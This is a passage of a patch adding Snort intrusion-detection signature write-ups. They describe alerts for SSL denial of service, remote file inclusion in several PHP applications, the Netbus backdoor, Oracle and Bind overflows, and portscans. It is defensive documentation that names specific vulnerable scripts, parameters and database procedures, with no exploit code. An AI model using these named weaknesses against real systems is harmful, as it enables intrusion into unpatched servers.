+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2196.txt
+++ snort-2.8.5.2/doc/signatures/2196.txt
@@ -0,0 +1,55 @@
+Rule:  
+
+--
+Sid:
+2196
+
+--
+Summary:
+This event is generated when an attempt is made to access catgy.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in Aktivate e-commerce software.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+Aktivate 1.03 is an e-commerce application for use on Linux and other UNIX-based operating systems. An attacker can craft a URL with malicious code in the "desc" command's argument that passes the commands to catgy.cgi. If a legitimate user activates the URL, malicious code may be executed on the client computer.   
+
+--
+Affected Systems:
+Systems running Aktivate 1.03.
+
+--
+Attack Scenarios:
+An attacker may craft a URL that, when activated by a legitimate user, obtains the user's session cookie, thereby allowing the attacker to pose as the user for the duration of the session.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses catgy.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been fixed. Contact the vendor, Allen & Keul Web Solutions (http://www.allen-keul.net) for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+http://www.securityfocus.com/bid/3714
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1647.txt
+++ snort-2.8.5.2/doc/signatures/1647.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1647
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/114.txt
+++ snort-2.8.5.2/doc/signatures/114.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+114
+
+--
+Summary:
+This event is generated when the Netbus trojan service is responding to 
+an attackers commands on port 12346
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+--
+Detailed Information:
+The program is a backdoor designed for Windows. It allows anyone who
+knows the listening port number and password to remotely control the 
+host.  Intruders access the server using either a text or graphics based
+client.
+
+The backdoor program allows the remote user to execute commands, list
+files, start silent services, share directories, upload and download
+files, manipulate the registry, kill processes, list processes, as well
+as other options, as well as open/close the CD-ROM drive, send
+interactive dialogs to chat with the compromised system, listen to the
+system's microphone (if it has one), and a few other features. 
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows NT
+	Windows 2000
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+Security tool probing for netbus
+Other services configured for 12346
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access to port 12346 from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by John Liss
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+NetBus
+http://www.ntsecurity.net/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000756.txt
+++ snort-2.8.5.2/doc/signatures/100000756.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000756
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "history.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "history.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000402.txt
+++ snort-2.8.5.2/doc/signatures/100000402.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000402
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "event.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "event.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2042.txt
+++ snort-2.8.5.2/doc/signatures/2042.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+2042
+
+--
+Summary:
+This event is generated when a successful attempt has been made to login
+using XTACACS from a machine outside the local area network.
+
+--
+Impact:
+This may be an attempt to access resources controlled by the XTACACS 
+server. Data compromize may occur.
+
+--
+Detailed Information:
+The Extended Terminal Access Controller Access Control System (XTACACS) 
+is an authentication and authorization protocol derived from  CISCO 
+TACACS. It is used in tcp/ip networks where network servers authenticate
+clients from a master server.
+
+When a user logs in to a server that uses XTACACS the server then makes 
+a request to a master server to detrmine the validity of the request. 
+The master server then verifies the login attempt and returns data 
+concerning that user which may include information regarding resources 
+the user is allowed access to in the form of an access list.
+
+--
+Affected Systems:
+All servers using XTACACS for authentication control.
+
+--
+Attack Scenarios:
+Regular user login method.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+XTACACS servers should only authenticate to known hosts and firewall 
+rules should prevent access to XTACACS enabled servers from outside the 
+local area network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Information Library - Intel:
+http://www.intel.com/support/si/library/bi0414.htm
+
+The Internet Next Generation Project:
+http://ing.ctit.utwente.nl/WU5/D5.1/Technology/xtacacs/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2747.txt
+++ snort-2.8.5.2/doc/signatures/2747.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2747
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure begin_flavor_definition
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1837.txt
+++ snort-2.8.5.2/doc/signatures/1837.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1837
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "alt.binaries.pictures.tinygirls".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "alt.binaries.pictures.tinygirls".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000588.txt
+++ snort-2.8.5.2/doc/signatures/100000588.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000588
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "db_export.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "db_export.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/111-9.txt
+++ snort-2.8.5.2/doc/signatures/111-9.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-9
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a NULL scan is in progress. That is, packets without any flags set have
+been detected. This should not occur in normal TCP data transmissions.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/811.txt
+++ snort-2.8.5.2/doc/signatures/811.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+811
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2374.txt
+++ snort-2.8.5.2/doc/signatures/2374.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2374
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with Mollensoft Hyperion FTP/Encladus Server Suite NLST 
+command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+CesarFTPD offers FTP servers for Windows hosts. A vulnerability exists 
+with the NLST command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the NLST 
+command.
+
+--
+Affected Systems:
+	Mollensoft Software Enceladus Server Suite 3.9.11
+	Mollensoft Software Hyperion FTP Server 3.5.2
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the NLST 
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/912.txt
+++ snort-2.8.5.2/doc/signatures/912.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+912
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000434.txt
+++ snort-2.8.5.2/doc/signatures/100000434.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000434
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "Bs_ImageArchive.class.php" using a remote file being passed as the "APP[path][core]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][core]" parameter in the "Bs_ImageArchive.class.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/945.txt
+++ snort-2.8.5.2/doc/signatures/945.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+945
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000804.txt
+++ snort-2.8.5.2/doc/signatures/100000804.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000804
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BosClassifieds" application running on a webserver. Access to the file "account.php" using a remote file being passed as the "insPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "insPath" parameter in the "account.php" script used by the "BosClassifieds" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BosClassifieds
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/122-10.txt
+++ snort-2.8.5.2/doc/signatures/122-10.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-10
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip decoy
+protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2821.txt
+++ snort-2.8.5.2/doc/signatures/2821.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2821
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure obsolete_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2921.txt
+++ snort-2.8.5.2/doc/signatures/2921.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+2921
+
+-- 
+Summary: 
+This event is generated when an inverse query attempt is made using UDP.
+
+-- 
+
+Impact: 
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Bind 8 contains a programming error that may present an attacker with
+the opportunity to execute code of their choosing on an affected server.
+
+The error occurs in the handling of malformed transactions. When using
+UDP this can result in the attacker causing a stack overflow in named.
+
+--
+Affected Systems:
+	Bind 8.
+
+--
+Attack Scenarios: 
+An attacker needs to send a specially crafted and malformed query to an
+affected server.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2384.txt
+++ snort-2.8.5.2/doc/signatures/2384.txt
@@ -0,0 +1,70 @@
+Rule:  
